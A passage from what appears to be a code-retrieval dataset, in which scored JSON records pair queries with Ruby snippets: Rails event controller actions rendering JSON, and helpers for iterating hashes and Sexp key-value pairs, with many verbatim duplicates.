:event_start_time, \n :event_end_time\n ] \n )\n }\n end", "title": "" }, { "docid": "93e221f52a1fb29f9fa66aa41392b614", "score": "0.72677374", "text": "def index\n json_response(@calendar.events)\n end", "title": "" }, { "docid": "72c923bebff9a490f37ce18ecc3c9c3f", "score": "0.72532594", "text": "def index\n @events = Event.all\n\n render json:{status: 200, events: @events}, status: :ok\n end", "title": "" }, { "docid": "6b0594a368be5468d07ec6b6adda204f", "score": "0.7244934", "text": "def show\n @event = Event.find(params[:id])\n render json: @event, serializer: EventSerializer\n end", "title": "" }, { "docid": "43a32e9b14935754f5350879e1afed4b", "score": "0.7244453", "text": "def get(event_id)\n request 'get', :e_id => event_id\n end", "title": "" }, { "docid": "37a406a970f90d1bbcbc7811263a0334", "score": "0.7243571", "text": "def show\n \t@event = Event.find(params[:id])\n respond_to do |format|\n format.json { render json: @event, status: :ok }\t\n end \t \t\n end", "title": "" }, { "docid": "905af5b22530fb3991afcfb14e6c4358", "score": "0.7241864", "text": "def show\n @event = Event.find params[:id]\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @event.to_api_hash }\n end\n end", "title": "" }, { "docid": "febcc91647b65e8ccc5954b1cf77ecf7", "score": "0.7237047", "text": "def show\n render json: @event, status: :ok\n end", "title": "" }, { "docid": "c1413f5ad65b767ef61afdd4893b8b7f", "score": "0.7231732", "text": "def show\n ##\n @event = Event.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { respond_event @event }\n end\n end", "title": "" }, { "docid": "286c133d90e3577bef6bb7ce8998890f", "score": "0.7223309", "text": "def show\n @event = Calendar.find(params[:id])\n render json: @event\n end", "title": "" }, { "docid": "a069e984b7364b889a975fb865b92e2e", "score": "0.7219172", "text": "def show\n @event = Event.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "a069e984b7364b889a975fb865b92e2e", "score": "0.7219172", "text": "def show\n @event = Event.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "04cc950e605be71e9988faad209e5239", "score": "0.7215904", "text": "def show\n @event = Event.find(params[:id])\nlogger.info @event.to_json\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @event }\n end\n end", "title": "" }, { "docid": "a304667961121c67ccaa3df021b1d564", "score": "0.72146964", "text": "def retrieve(id)\n @client.make_request(:get, \"events/#{id}\", MODEL_CLASS)\n end", "title": "" }, { "docid": "66cec9200352931dc624c60aa268ea93", "score": "0.7204848", "text": "def index\n @events = Event.all\n render json: @events\n end", "title": "" }, { "docid": "5afd9c217db582ab4e1d31c633a112c3", "score": "0.7201678", "text": "def index\n @events = Event.get_events(params)\n end", "title": "" }, { "docid": "a85255d083e155277c7206a8fbe1dc67", "score": "0.7193262", "text": "def events\n @events = Event.find(:all)\n\t respond_to do |format|\n\t\tformat.html # show.html.erb\n\t\tformat.json { render :json => @events }\n\t end\nend", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "53f03fe240698fa4821da04fd48001bd", "score": "0.7190171", "text": "def show\n @event = Event.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "53f03fe240698fa4821da04fd48001bd", "score": "0.7190171", "text": "def show\n @event = Event.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "0bd25cda8f89493807a725bdf88743c8", "score": "0.7185553", "text": "def show\n @event = Event.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @event }\n end\n end", "title": "" }, { "docid": "ffba32a75db83cfe33fbadcd45ea8758", "score": "0.71788853", "text": "def show\n\t@event = Event.find(params[:id])\n\n\trespond_to do |format|\n\t format.html # show.html.erb\n\t format.json { render json: @event }\n\tend\n end", "title": "" }, { "docid": "9f3479ee0d84bb4c759aa1ad3851528c", "score": "0.7176304", "text": "def show\n @event = Event.find(params[:id])\n respond_to do |format|\n format.html { render :show }\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "5d778e810a29178b1727eb24697e4654", "score": "0.7166417", "text": "def show\n\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @event }\n end\n end", "title": "" }, { "docid": "ce4ca83790dbd6603d50dfea9eaba5d6", "score": "0.716499", "text": "def show\n @event = Event.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "ce4ca83790dbd6603d50dfea9eaba5d6", "score": "0.716499", "text": "def show\n @event = Event.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "269ca140e2c57ccf3c31608aca7982ba", "score": "0.7163602", "text": "def show\n @event = Event.find(params[:id])\n respond_with @event.as_json\n end", "title": "" }, { "docid": "df721db38838316d4629530c6877bdf3", "score": "0.71610856", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @event }\n end\n end", "title": "" }, { "docid": "df721db38838316d4629530c6877bdf3", "score": "0.71610856", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @event }\n end\n end", "title": "" }, { "docid": "df721db38838316d4629530c6877bdf3", "score": "0.71610856", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @event }\n end\n end", "title": "" }, { "docid": "df721db38838316d4629530c6877bdf3", "score": "0.71610856", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @event }\n end\n end", "title": "" }, { "docid": "df721db38838316d4629530c6877bdf3", "score": "0.71610856", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @event }\n end\n end", "title": "" } ]
4a3c5ccb65dbce196471213aeba5bc65
Takes an Sexp like (:hash, (:lit, :key), (:str, "value")) and yields the key and value pairs to the given block. For example: h = Sexp.new(:hash, (:lit, :name), (:str, "bob"), (:lit, :name), (:str, "jane")) names = [] hash_iterate(h) do |key, value| if symbol? key and key[1] == :name names << value[1] end end names ["bob"]
[ { "docid": "09b72fab24d6a67ab53199705e4d0b8f", "score": "0.6295558", "text": "def hash_iterate hash\n 1.step(hash.length - 1, 2) do |i|\n yield hash[i], hash[i + 1]\n end\n end", "title": "" } ]
[ { "docid": "f84c6c306eb81a38d341f513b5ee8afa", "score": "0.64607114", "text": "def each\n clear_disposed\n @hash.each { |s| yield s[1] if block_given? }\n end", "title": "" }, { "docid": "af15058ff1f7f1561488840e6741301a", "score": "0.6321693", "text": "def each_hash\n while node = next_hash\n yield node\n end\n end", "title": "" }, { "docid": "d87fa282d3c32cde0b7e913642ddc7b6", "score": "0.62907946", "text": "def each\r\n while data = self.fetch_hash_symbols\r\n yield(data)\r\n end\r\n end", "title": "" }, { "docid": "b5837f2ff75a97a1001bd780627bdff4", "score": "0.62808776", "text": "def each_name(&block) #:yield: +key+\n block_given? or return enum_for(__method__)\n @header.each_key(&block)\n end", "title": "" }, { "docid": "f1c873c12a929a9e38294922f1dd90b2", "score": "0.61187196", "text": "def each_named_capture &_b\n return enum_for(:each_named_capture) unless block_given?\n names.each{|n| yield n, self[n] }\n end", "title": "" }, { "docid": "11f7ade7581dd76e4e5cdf38792b8eb9", "score": "0.61160743", "text": "def each(&block)\n return enum_for :each unless block\n\n @hash.each {|_, header|\n block.call [header.name, header.value]\n }\n\n self\n end", "title": "" }, { "docid": "323d1b4dd405a22b9b20cd568889ae0d", "score": "0.61149395", "text": "def iterator(hash)\n hash.each do |key, value|#take this block info below (key and key)\n hash[key].breakfast_sammy(\"x\", \"y\") #give arguments(as strings)\n hash[key].chomper(\"food\") #this method can call the methods from the class above because the info for this is snuck in with the hash when we pass it through\n end \nend", "title": "" }, { "docid": "1f3f341bb7ad2901ecaf6ad98e5a066c", "score": "0.60890466", "text": "def selekt &block\n hsh = {}\n each_pair {|k,v|\n hsh[k] = v if yield(k,v)\n }\n hsh\n end", "title": "" }, { "docid": "4310b651b2eb304f3d4e0d168f1b591f", "score": "0.60423857", "text": "def iter_hash(hash)\n hash.each do |key, value|\n puts key\n puts value\n end\nend", "title": "" }, { "docid": "9bf2891638eb037551d1ea8d65280b1d", "score": "0.6019665", "text": "def iter_hash(hash)\n hash.each do | key, value|\n puts key\n puts value\n end\nend", "title": "" }, { "docid": "29cf63ef76b4b1de84b86e879ddaae88", "score": "0.6014305", "text": "def iter_hash(hash)\n # your code here\n hash.each do |key, value|\n puts key\n puts value\n end\nend", "title": "" }, { "docid": "699fe8100661a08d0b91fe4de9e5dadf", "score": "0.5992438", "text": "def each\n @hash.keys.each{|o| yield o }\n end", "title": "" }, { "docid": "20954ea73c010b563b99743684f3605f", "score": "0.597338", "text": "def each_key(args={}, &block)\n each(args).map() { |e| e.name }.each(&block)\n end", "title": "" }, { "docid": "b102747d301db24bce814d7f5427a450", "score": "0.5969028", "text": "def each\n @names.each { |name| yield name }\n end", "title": "" }, { "docid": "2d562589131af72a2ddc934ef190204e", "score": "0.5957909", "text": "def each_with_key(&block)\n hash.each(&block)\n end", "title": "" }, { "docid": "7ddafebed9637cdec2fc77a8659615e9", "score": "0.5930544", "text": "def hash_yield_value(keys)\n keys.inject Hash.new do |acc, key|\n acc.merge key => yield(key.to_sym)\n end\n end", "title": "" }, { "docid": "b61b5d1cfdfe62a825f5a872d3304d51", "score": "0.5886395", "text": "def each_name(&block)\n end", "title": "" }, { "docid": "d92761b11b67f167e542404eb4e6eb1d", "score": "0.58761996", "text": "def each_for(name)\n name = name.to_s\n @pairs.each do |k, v|\n yield v if name == k\n end\n self\n end", "title": "" }, { "docid": "9aedf6e26ab0f22f37f9a3207ffa6a58", "score": "0.58747953", "text": "def each_pair() # :yield: hash, paths\n block_given? or return enum_for(__method__)\n\n @hashdict.each_pair do |k, v|\n yield k, v\n end\n\n self\n end", "title": "" }, { "docid": "42b2890dcb987cce5bfa46a29a595f43", "score": "0.58713377", "text": "def each_symbol\n self.class.symbols.each do |k, x|\n yield k, x[0], x[1]\n end\n end", "title": "" }, { "docid": "11846abbd8d3cb130ffeb583bcbf564c", "score": "0.5867812", "text": "def iterator_hash\n #going trow each hash element and printing corasponding element\n x={\"element1\" =>1 ,\"element2\" =>2}\n x.each {|key,value| puts \"#{key} equalts #{value}\"}\n\n end", "title": "" }, { "docid": "05b582c8b768fb5c453c10cda016c6ca", "score": "0.58575195", "text": "def each_hash(&blk)\r\n each_result false, &blk\r\n end", "title": "" }, { "docid": "13cfd339b5db818bf1711eb3c6ff0c64", "score": "0.58519334", "text": "def deep_symbolize(hsh, &block)\n hsh.inject({}) { |result, (key, value)|\n # Recursively deep-symbolize subhashes\n value = deep_symbolize(value, &block) if value.is_a? Hash\n\n # Pre-process the key with a block if it was given\n key = yield key if block_given?\n # Symbolize the key string if it responds to to_sym\n sym_key = key.to_sym rescue key\n\n # write it back into the result and return the updated hash\n result[sym_key] = value\n result\n }\n end", "title": "" }, { "docid": "b70c65d081ea03d93662c68489c3ef4d", "score": "0.5848517", "text": "def each\n to_hash.each{|k,v| yield k,v if block_given? }\n end", "title": "" }, { "docid": "8bdd76139cb322f7b81cbfea0d8362ed", "score": "0.5841015", "text": "def each(&block)\n curr = @head\n until curr.nil? do\n yield(curr.key, curr.value)\n curr = curr.next\n end\n end", "title": "" }, { "docid": "83b5eacfbf33480a3e70cd3ef2ba833f", "score": "0.57876396", "text": "def each\n variables.each do |name|\n yield(name[1..-1].to_sym, get(name))\n end\n end", "title": "" }, { "docid": "cf9234a00b83b24ede52968b234f93d3", "score": "0.57758", "text": "def show_names(my_hash)\n my_hash.each do |keys, values|\n puts \"#{keys} \\n\"\n end\nend", "title": "" }, { "docid": "5126fc2e4dbfb3b9f5f1f2887b1d8931", "score": "0.57722336", "text": "def each\n h = @parent.instance_variable_get(@hash_ivar)\n if block_given?\n keys.each do |k|\n yield k, h[k]\n end\n elsif @key_filter\n h.dup.keep_if{ |k,v| @key_filter.call(k) }.each\n else\n h.each\n end\n end", "title": "" }, { "docid": "45515941d8f84a9d3052a6ec8324ff3d", "score": "0.57703763", "text": "def each_key\n\n\t\treturn @inner.each_key unless block_given?\n\n\t\t@inner.each_key { |key| yield key }\n\tend", "title": "" }, { "docid": "920e9101c64baff6161bf2be32aac17d", "score": "0.5751569", "text": "def get_name(prompt, &block)\n print prompt + \": \"\n name = gets.chomp\n print \"Age: \"\n age = gets.chomp\n # yield name\n # block.call(name, age)\n yield name, age \n end", "title": "" }, { "docid": "b247999276e59aaa48bc06183dff2b85", "score": "0.5745241", "text": "def each #:yield:\n if block_given?\n keys.each do |k|\n yield(k, retrieve(k))\n end\n else\n to_enum(:each)\n end\n end", "title": "" }, { "docid": "7c9d5656682f081f5b3f0465df4c5bbd", "score": "0.5727989", "text": "def walk_hash(h)\n case h\n when Hash\n # HashWithIndifferentAccess doesn't do symbolize_keys! correctly.\n bad_hashes = h.select do |k, v|\n v.is_a? HashWithIndifferentAccess\n end\n bad_hashes.each do |bad_key|\n h[bad_key] = h[bad_key].to_hash\n end\n\n h.each do |k, v|\n case v\n when Hash, Array\n walk_hash(v){|sh| yield sh}\n end\n end\n # symbolize_keys! does not work on these.\n # cast to plain Hash\n if h.is_a? HashWithIndifferentAccess\n h = h.to_hash\n end\n yield h\n when Array\n # HashWithIndifferentAccess doesn't do symbolize_keys! correctly.\n h = h.each_with_index do |v, i|\n if v.is_a? HashWithIndifferentAccess\n h[i] = v.to_hash\n end\n end\n\n h.each do |v|\n case v\n when Hash, Array\n walk_hash(v){|sh| yield sh}\n end\n end\n end\n end", "title": "" }, { "docid": "fcd075126c8a90ae9a1c54c88ef14246", "score": "0.5725836", "text": "def city_names(somehash)\n somehash.each{ |city, code| puts city } \nend", "title": "" }, { "docid": "3e76d5e6f7c16f9353489c5cb16cfcb4", "score": "0.57056415", "text": "def each_key()\n\t\t\treal_hash.each_key() { |key| yield key; }\n\t\tend", "title": "" }, { "docid": "a3de9ffe9568421ed6beb92d4d4bc076", "score": "0.5703864", "text": "def block_map(&block)\n each { |b| b.name = yield b }\n end", "title": "" }, { "docid": "a3de9ffe9568421ed6beb92d4d4bc076", "score": "0.5703864", "text": "def block_map(&block)\n each { |b| b.name = yield b }\n end", "title": "" }, { "docid": "a3de9ffe9568421ed6beb92d4d4bc076", "score": "0.5703864", "text": "def block_map(&block)\n each { |b| b.name = yield b }\n end", "title": "" }, { "docid": "43d4c9264c311047830129a1f2475c46", "score": "0.5680969", "text": "def each\n @hash.each { |p,v| yield p, v unless v.nil? }\n end", "title": "" }, { "docid": "e5ebe77791f1f98f536b6639fcbe0627", "score": "0.56756526", "text": "def each_name(&block) #:yield: +key+\n block_given? or return enum_for(__method__) { @header.size }\n @header.each_key(&block)\n end", "title": "" }, { "docid": "cca5eefe44c277ac9a8d2bc0afb7cd2a", "score": "0.5649793", "text": "def each\n keys.each { |key| yield key }\n end", "title": "" }, { "docid": "deb98638c049adcb27cb3ba8667cdf1b", "score": "0.5643927", "text": "def each &block\n self.to_h.each{ |k, v| yield k, v }\n end", "title": "" }, { "docid": "c5bd7ce147caac2a981e62b98746c318", "score": "0.5638475", "text": "def say_name(name)\n yield(name)\nend", "title": "" }, { "docid": "606e229533e694e0123adb62730ae2dc", "score": "0.5626876", "text": "def each\n variables.each do |name|\n yield(name[1..-1].to_sym, get(name))\n end\n end", "title": "" }, { "docid": "d1a4d86e67f3d75ab82464dad058ffeb", "score": "0.5619737", "text": "def process_hash(exp)\n _, body = exp.shift 2\n return s(:hash) unless body\n\n _, elems = body\n s(:hash, *make_hash_items(elems))\n end", "title": "" }, { "docid": "b93576776cdf0cc3210338783376dd1d", "score": "0.5615919", "text": "def each_capture &_b\n return enum_for(:each_capture) unless block_given?\n if names.empty?\n captures.each_with_index{|v,i| yield i+1, v }\n else\n names.each{|n| yield n, self[n] }\n end\n end", "title": "" }, { "docid": "8ffd06b012185c159b492f77ecb87d97", "score": "0.56140316", "text": "def each_pair(&blk)\n @hash.each_pair(&blk)\n end", "title": "" }, { "docid": "76d6e5dc9723511c411dc40736916ef1", "score": "0.5597632", "text": "def get_city_names(somehash)\n puts \n somehash.each {|k,v| puts k}\nend", "title": "" }, { "docid": "bbeb02bca6cc8debaed9b7e5893c2bc3", "score": "0.5594165", "text": "def each(&proc)\n # When key and value are expected separately. Should actually be calling each_pair anyway\n if proc.arity == 2\n each_pair(proc)\n else\n enum = getMapNames\n while enum.has_more_elements\n key = enum.next_element\n proc.call [key, getObject(key)]\n end\n end\n end", "title": "" }, { "docid": "d5f8aadc40dbac350c5d192f16548414", "score": "0.55855745", "text": "def saluda(name)\n\tname.each { |e| yield e}\nend", "title": "" }, { "docid": "650b01050011eb53c79e44d07d06df46", "score": "0.55768263", "text": "def each_header( &block )\n\t\tenum = Enumerator.new do |yielder|\n\t\t\t@hash.each do |header, value|\n\t\t\t\tArray( value ).each do |val|\n\t\t\t\t\tyielder.yield( normalize_header(header), val.to_s )\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\tif block\n\t\t\treturn enum.each( &block )\n\t\telse\n\t\t\treturn enum\n\t\tend\n\tend", "title": "" }, { "docid": "204a5885b7c54c27a4619af475e21ef3", "score": "0.5563341", "text": "def iterate\nputs \"Iterate\"\n{:first=>\"test\",:second=>\"this\",:third=>\"feature\"}.each {|key,value| puts \"Key: #{key} Value: #{value}\"}\nend", "title": "" }, { "docid": "bbb9ab20f6ff8303b0761d874cb83bd1", "score": "0.55564773", "text": "def get_city_names(somehash)\n somehash.each { |cn,ac| puts cn }\nend", "title": "" }, { "docid": "4fcc57471e38b1d253161e9f75f412cb", "score": "0.5556378", "text": "def each_name(&block)\n @bindings.each_key(&block) if block_given?\n enum_name\n end", "title": "" }, { "docid": "108c1a93cbe6d84947c6f8bd93b4cc62", "score": "0.5554472", "text": "def each(&block)\n 